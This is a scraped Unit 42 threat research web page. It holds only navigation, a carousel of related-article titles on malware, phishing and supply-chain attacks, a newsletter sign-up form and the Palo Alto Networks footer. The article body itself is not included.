  [Threat Research Center](https://unit42.paloaltonetworks.com "Threat Research") [Next: Finding Gozi: Answers to Unit 42 Wireshark Quiz, March 2023](https://unit42.paloaltonetworks.com/march-wireshark-gozi-answers/ "Finding Gozi: Answers to Unit 42 Wireshark Quiz, March 2023")

### Table of Contents

* 

### Related Articles

* [Connecting the Dots: Securing the Overlooked Corners of the Software Development Lifecycle (SDLC) Supply Chain](https://unit42.paloaltonetworks.com/sdlc-supply-chain/ "article - table of contents")
* [The npm Threat Landscape: Attack Surface and Mitigations (Updated July 15)](https://unit42.paloaltonetworks.com/monitoring-npm-supply-chain-attacks/ "article - table of contents")
* [Phantom Squatting: AI-Hallucinated Domains as a Software Supply Chain Vector](https://unit42.paloaltonetworks.com/phantom-squatting-hallucinated-web-domains/ "article - table of contents")

## Related Malware Resources

![Pictorial representation of post-exploitation identity misuse in SPIFFE/SPIRE. Close-up of a person wearing glasses, with computer code reflected in the lenses.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/12_Security-Technology_Category_1920x900-786x368.jpg)  
[![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) September 10, 2026 [#### The Machine With Many Faces: Post-Exploitation Identity Misuse in SPIFFE/SPIRE](https://unit42.paloaltonetworks.com/kubernetes-spiffe-spire-identity-spoofing/)

* [API](https://unit42.paloaltonetworks.com/tag/api/ "API")

* [Cryptographic](https://unit42.paloaltonetworks.com/tag/cryptographic/ "cryptographic")

* [JSON](https://unit42.paloaltonetworks.com/tag/json/ "JSON")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/kubernetes-spiffe-spire-identity-spoofing/ "The Machine With Many Faces: Post-Exploitation Identity Misuse in SPIFFE/SPIRE")  
  ![Pictorial representation of a pay-per-install threat group campaign prodiving infection service for spreading malware. A close-up of a computer circuit board with a central microchip is depicted. Red digital data streams in the form of glowing binary numbers and arrows appear to flow in and out of the chip, symbolizing data processing and transfer. The scene is illuminated with a futuristic blue and red glow.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/04_Malware_Category_1920x900-6-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) September 9, 2026 [#### Untracked Nightmares: The Threats Hiding Behind Commodity Infrastructure](https://unit42.paloaltonetworks.com/ppi-network-malware-campaign-analysis/)

* [ARKTunnel](https://unit42.paloaltonetworks.com/tag/arktunnel/ "ARKTunnel")

* [C2](https://unit42.paloaltonetworks.com/tag/c2/ "C2")

* [CL-CRI-1171](https://unit42.paloaltonetworks.com/tag/cl-cri-1171/ "CL-CRI-1171")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ppi-network-malware-campaign-analysis/ "Untracked Nightmares: The Threats Hiding Behind Commodity Infrastructure")  
  ![Pictorial representation of attackers using AI tools to target Latin American organizations. A vibrant cityscape with silhouettes of numerous people walking along a bustling street. The scene is illuminated by bright urban lights and digital-like particles, creating a dynamic and futuristic atmosphere.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/AdobeStock_768915868-2-1-786x373.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) September 3, 2026 [#### Attackers Expose Ongoing AI Tool Use Targeting Organizations in Latin America](https://unit42.paloaltonetworks.com/ai-tool-use-targeting-latam-orgs/)

* [Agentic AI](https://unit42.paloaltonetworks.com/tag/agentic-ai/ "Agentic AI")

* [ChatGPT](https://unit42.paloaltonetworks.com/tag/chatgpt/ "ChatGPT")

* [CL-CRI-1131](https://unit42.paloaltonetworks.com/tag/cl-cri-1131/ "CL-CRI-1131")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-tool-use-targeting-latam-orgs/ "Attackers Expose Ongoing AI Tool Use Targeting Organizations in Latin America")  
  ![Pictorial representation of vishing campaigns in Microsoft Teams. A digital image of a skull formed by blue binary code on a black background, with scattered ones and zeros and digital noise, symbolizes how stealthy prompt injection attacks can exploit AI logic to bypass security controls.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/01_Malware_Category_1920x900-5-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 31, 2026 [#### Spring Ring: An Inside Look at Voice Phishing Campaigns in Microsoft Teams](https://unit42.paloaltonetworks.com/spring-ring-voice-phishing-campaigns/)

* [Cloaked Ursa](https://unit42.paloaltonetworks.com/tag/cloaked-ursa/ "Cloaked Ursa")

* [Entra ID](https://unit42.paloaltonetworks.com/tag/entra-id/ "Entra ID")

* [Microsoft Teams](https://unit42.paloaltonetworks.com/tag/microsoft-teams/ "Microsoft Teams")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/spring-ring-voice-phishing-campaigns/ "Spring Ring: An Inside Look at Voice Phishing Campaigns in Microsoft Teams")  
  ![Pictorial representation of AI-enabled malware. A vibrant digital interface displaying various icons and graphs, resembling a futuristic network or data analysis dashboard. The scene is illuminated with glowing lights and patterns.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/AdobeStock_1270203474-2-1-786x368.png)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 25, 2026 [#### The State of AI-Enabled Malware August 2026: From Brand Abuse to Agentic Execution](https://unit42.paloaltonetworks.com/ai-enabled-malware-analysis/)

* [Backdoor](https://unit42.paloaltonetworks.com/tag/backdoor/ "backdoor")

* [Bitcoin](https://unit42.paloaltonetworks.com/tag/bitcoin/ "Bitcoin")

* [DLL hijacking](https://unit42.paloaltonetworks.com/tag/dll-hijacking/ "DLL hijacking")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-enabled-malware-analysis/ "The State of AI-Enabled Malware August 2026: From Brand Abuse to Agentic Execution")  
  ![Pictorial representation of identity abuse through trusted communication channels. Close-up view of a digital screen displaying a glitched and pixelated image of a skull-like shape.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/02_Malware_Category_1920x900-2-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 20, 2026 [#### Identity Abuse Through Trusted Communication Channels](https://unit42.paloaltonetworks.com/communication-channel-identity-risks/)

* [Authentication](https://unit42.paloaltonetworks.com/tag/authentication/ "authentication")

* [Identity theft](https://unit42.paloaltonetworks.com/tag/identity-theft/ "identity theft")

* [Malware](https://unit42.paloaltonetworks.com/tag/malware/ "malware")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/communication-channel-identity-risks/ "Identity Abuse Through Trusted Communication Channels")  
  ![Pictorial representation of Kimwolf botnet malware family. Digital screen with a warning sign reading "Malware." The background features lines of computer code and graphics, creating a sense of cybersecurity threat.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/07_Malware_Category_1920x900-3-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 11, 2026 [#### Kimwolf v7: An Evolution of the Kimwolf Botnet](https://unit42.paloaltonetworks.com/kimwolf-v7-botnet-malware/)

* [Android APK](https://unit42.paloaltonetworks.com/tag/android-apk/ "Android APK")

* [Ethereum](https://unit42.paloaltonetworks.com/tag/ethereum/ "Ethereum")

* [HTTP](https://unit42.paloaltonetworks.com/tag/http/ "HTTP")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/kimwolf-v7-botnet-malware/ "Kimwolf v7: An Evolution of the Kimwolf Botnet")  
  ![Pictorial representatiom pf Aeternum's blockchain C2. A close-up of a computer circuit board with a central microchip is depicted. Red digital data streams in the form of glowing binary numbers and arrows appear to flow in and out of the chip. The scene is illuminated with a futuristic blue and red glow.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/04_Malware_Category_1920x900-4-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 10, 2026 [#### The Permanent Threat: Analyzing Aeternum's Blockchain-Based C2 Operations and Communications](https://unit42.paloaltonetworks.com/aeternum-blockchain-c2-analysis/)

* [Aeternum](https://unit42.paloaltonetworks.com/tag/aeternum/ "Aeternum")

* [Infection chain](https://unit42.paloaltonetworks.com/tag/infection-chain/ "infection chain")

* [JSON](https://unit42.paloaltonetworks.com/tag/json/ "JSON")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/aeternum-blockchain-c2-analysis/ "The Permanent Threat: Analyzing Aeternum’s Blockchain-Based C2 Operations and Communications")  
  ![Pictorial representation of ChainDrop, a self-propagating npm worm. An artistic depiction of a digital workspace featuring an open laptop with a red virus on the screen.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/03_Malware_Category_1920x900-7-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)High Profile Threats](https://unit42.paloaltonetworks.com/category/top-cyberthreats/) August 6, 2026 [#### ChainDrop: Inside a Self-Propagating npm Worm](https://unit42.paloaltonetworks.com/chaindrop-npm-worm-analysis/)

* [Blockchain](https://unit42.paloaltonetworks.com/tag/blockchain/ "blockchain")

* [ChainDrop](https://unit42.paloaltonetworks.com/tag/chaindrop/ "ChainDrop")

* [Claude code](https://unit42.paloaltonetworks.com/tag/claude-code/ "Claude code")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/chaindrop-npm-worm-analysis/ "ChainDrop: Inside a Self-Propagating npm Worm")  
  ![Pictorial representation of Token-jacking. A person types on a laptop with multiple digital interface elements projected, including an "AI" icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/AdobeStock_1246251272-2-786x369.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 6, 2026 [#### Token Jacking: Cybercriminals Could Be Stealing Your AI Resources](https://unit42.paloaltonetworks.com/ai-token-jacking/)

* [AI API](https://unit42.paloaltonetworks.com/tag/ai-api/ "AI API")

* [AI gateway](https://unit42.paloaltonetworks.com/tag/ai-gateway/ "AI gateway")

* [API keys](https://unit42.paloaltonetworks.com/tag/api-keys/ "API keys")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-token-jacking/ "Token Jacking: Cybercriminals Could Be Stealing Your AI Resources")

* ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg)

* ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg)  
  ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg) ![Enlarged Image]()  
  ![Newsletter](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/03/unit42-footer-subscribe-desktop.png)  
  ![UNIT 42 Small Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/palo-alto-logo-small.svg) Get updates from Unit 42

## Peace of mind comes from staying ahead of threats. Subscribe today.

Your Email

Subscribe for email updates to all Unit 42 threat research.  
By submitting this form, you agree to our [Terms of Use](https://www.paloaltonetworks.com/legal-notices/terms-of-use "Terms of Use") and acknowledge our [Privacy Statement.](https://www.paloaltonetworks.com/legal-notices/privacy "Privacy Statement")

This site is protected by reCAPTCHA and the Google [Privacy Policy](https://policies.google.com/privacy) and [Terms of Service](https://policies.google.com/terms) apply.

Invalid captcha!
Subscribe ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg) ![loader](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-loader.svg)  
{#footer} Products and Services

* [AI-Powered Network Security Platform](https://www.paloaltonetworks.com/network-security)

* [Secure AI by Design](https://www.paloaltonetworks.com/ai-security)

* [Prisma AIRS](https://www.paloaltonetworks.com/ai-security/prisma-airs)

* [AI Access Security](https://www.paloaltonetworks.com/sase/ai-access-security)

* [Cloud Delivered Security Services](https://www.paloaltonetworks.com/network-security/security-subscriptions)

* [Advanced Threat Prevention](https://www.paloaltonetworks.com/network-security/advanced-threat-prevention)

* [Advanced URL Filtering](https://www.paloaltonetworks.com/network-security/advanced-url-filtering)

* [Advanced WildFire](https://www.paloaltonetworks.com/network-security/advanced-wildfire)

* [Advanced DNS Security](https://www.paloaltonetworks.com/network-security/advanced-dns-security)

* [Enterprise Data Loss Prevention](https://www.paloaltonetworks.com/sase/enterprise-data-loss-prevention)

* [Enterprise IoT Security](https://www.paloaltonetworks.com/network-security/enterprise-device-security)

* [Medical IoT Security](https://www.paloaltonetworks.com/network-security/medical-device-security)

* [Industrial OT Security](https://www.paloaltonetworks.com/network-security/ot-security-solution)

* [SaaS Security](https://www.paloaltonetworks.com/sase/saas-security)

* [Next-Generation Firewalls](https://www.paloaltonetworks.com/network-security/next-generation-firewall)

* [Hardware Firewalls](https://www.paloaltonetworks.com/network-security/hardware-firewall-innovations)

* [Software Firewalls](https://www.paloaltonetworks.com/network-security/software-firewalls)

* [Strata Cloud Manager](https://www.paloaltonetworks.com/network-security/strata-cloud-manager)

* [SD-WAN for NGFW](https://www.paloaltonetworks.com/network-security/sd-wan-subscription)

* [PAN-OS](https://www.paloaltonetworks.com/network-security/pan-os)

* [Panorama](https://www.paloaltonetworks.com/network-security/panorama)

* [Secure Access Service Edge](https://www.paloaltonetworks.com/sase)

* [Prisma SASE](https://www.paloaltonetworks.com/sase)

* [Application Acceleration](https://www.paloaltonetworks.com/sase/app-acceleration)

* [Autonomous Digital Experience Management](https://www.paloaltonetworks.com/sase/adem)

* [Enterprise DLP](https://www.paloaltonetworks.com/sase/enterprise-data-loss-prevention)

* [Prisma Access](https://www.paloaltonetworks.com/sase/access)

* [Prisma Browser](https://www.paloaltonetworks.com/sase/prisma-browser)

* [Prisma SD-WAN](https://www.paloaltonetworks.com/sase/sd-wan)

* [Remote Browser Isolation](https://www.paloaltonetworks.com/sase/remote-browser-isolation)

* [SaaS Security](https://www.paloaltonetworks.com/sase/saas-security)

* [AI-Driven Security Operations Platform](https://www.paloaltonetworks.com/cortex)

* [Cloud Security](https://www.paloaltonetworks.com/cortex/cloud)

* [Cortex Cloud](https://www.paloaltonetworks.com/cortex/cloud)

* [Application Security](https://www.paloaltonetworks.com/cortex/cloud/application-security)

* [Cloud Posture Security](https://www.paloaltonetworks.com/cortex/cloud/cloud-posture-security)

* [Cloud Runtime Security](https://www.paloaltonetworks.com/cortex/cloud/runtime-security)

* [Prisma Cloud](https://www.paloaltonetworks.com/prisma/cloud)

* [AI-Driven SOC](https://www.paloaltonetworks.com/cortex)

* [Cortex XSIAM](https://www.paloaltonetworks.com/cortex/cortex-xsiam)

* [Cortex XDR](https://www.paloaltonetworks.com/cortex/cortex-xdr)

* [Cortex XSOAR](https://www.paloaltonetworks.com/cortex/cortex-xsoar)

* [Cortex Xpanse](https://www.paloaltonetworks.com/cortex/cortex-xpanse)

* [Unit 42 Managed Detection \& Response](https://www.paloaltonetworks.com/cortex/managed-detection-and-response)

* [Managed XSIAM](https://www.paloaltonetworks.com/cortex/managed-xsiam)

* [Next-Generation Identity Security](https://www.paloaltonetworks.com/idira)

* [Privileged Access Management](https://www.paloaltonetworks.com/idira/human/privileged-access-management)

* [Identity and Access Management](https://www.paloaltonetworks.com/idira/human/identity-and-access-management)

* [Endpoint Privilege Manager](https://www.paloaltonetworks.com/idira/human/endpoint-privilege-manager)

* [Identity Governance](https://www.paloaltonetworks.com/idira/human/identity-governance)

* [Workforce Password Management](https://www.paloaltonetworks.com/idira/human/workforce-password-management)

* [Agentic Identities](https://www.paloaltonetworks.com/idira/agentic)

* [Secrets Management](https://www.paloaltonetworks.com/idira/machine/secrets-management)

* [Unified Secrets Governance](https://www.paloaltonetworks.com/idira/machine/unified-secrets-governance)

* [Application Credentials Delivery](https://www.paloaltonetworks.com/idira/machine/application-credentials-delivery)

* [Vendor Privileged Access](https://www.paloaltonetworks.com/idira/human/vendor-privileged-access)

* [Threat Intel and Incident Response Services](https://www.paloaltonetworks.com/unit42)

* [Prepare for Emerging Risks](https://www.paloaltonetworks.com/unit42/frontier-ai-defense)

* [Strengthen Your Defenses](https://www.paloaltonetworks.com/unit42/strengthen-your-defenses)

* [Build Your Security Strategy](https://www.paloaltonetworks.com/unit42/build-your-security-strategy)

* [Understand the Adversary](https://www.paloaltonetworks.com/unit42/threat-intelligence)

* [Respond to a Cyber Attack](https://www.paloaltonetworks.com/unit42/respond)  
  Company

* [About Us](https://www.paloaltonetworks.com/about-us)

* [Careers](https://jobs.paloaltonetworks.com/en/)

* [Contact Us](https://www.paloaltonetworks.com/company/contact-sales)

* [Corporate Responsibility](https://www.paloaltonetworks.com/about-us/corporate-responsibility)

* [Customers](https://www.paloaltonetworks.com/customers)

* [Investor Relations](https://investors.paloaltonetworks.com/)

* [Location](https://www.paloaltonetworks.com/about-us/locations)

* [Newsroom](https://www.paloaltonetworks.com/company/newsroom)  
  Popular Links

* [Blog](https://www.paloaltonetworks.com/blog/)

* [Communities](https://www.paloaltonetworks.com/communities)

* [Content Library](https://www.paloaltonetworks.com/resources)

* [Cyberpedia](https://www.paloaltonetworks.com/cyberpedia)

* [Event Center](https://events.paloaltonetworks.com/)

* [Manage Email Preferences](https://start.paloaltonetworks.com/preference-center)

* [Products A-Z](https://www.paloaltonetworks.com/products/products-a-z)

* [Product Certifications](https://www.paloaltonetworks.com/legal-notices/trust-center/certifications)

* [Report a Vulnerability](https://www.paloaltonetworks.com/security-disclosure)

* [Sitemap](https://www.paloaltonetworks.com/sitemap)

* [Tech Docs](https://docs.paloaltonetworks.com/)

* [Unit 42](https://unit42.paloaltonetworks.com/)

* [Do Not Sell or Share My Personal Information](https://panwedd.exterro.net/portal/dsar.htm?target=panwedd)
  ![Palo Alto Networks Logo](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/pan-logo-dark.svg)

* [Privacy](https://www.paloaltonetworks.com/legal-notices/privacy)

* [Trust Center](https://www.paloaltonetworks.com/legal-notices/trust-center)

* [Terms of Use](https://www.paloaltonetworks.com/legal-notices/terms-of-use)

* [Documents](https://www.paloaltonetworks.com/legal)

Copyright © 2026 Palo Alto Networks. All Rights Reserved

* [![Youtube](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/youtube-black.svg)](https://www.youtube.com/user/paloaltonetworks)
* [![Podcast](https://www.paloaltonetworks.com/content/dam/pan/en_US/images/icons/podcast.svg)](https://www.paloaltonetworks.com/podcasts/threat-vector)
* [![Facebook](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/facebook-black.svg)](https://www.facebook.com/PaloAltoNetworks/)
* [![LinkedIn](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/linkedin-black.svg)](https://www.linkedin.com/company/palo-alto-networks)
* [![Twitter](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/twitter-x-black.svg)](https://twitter.com/PaloAltoNtwks)
* EN  
  Select your language  
  ![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg) ![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg) ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg)

### Default Heading

Read the article ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg)  
Seekbar

![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg)  
![Volume](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-volume.svg)  
Volume
![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg)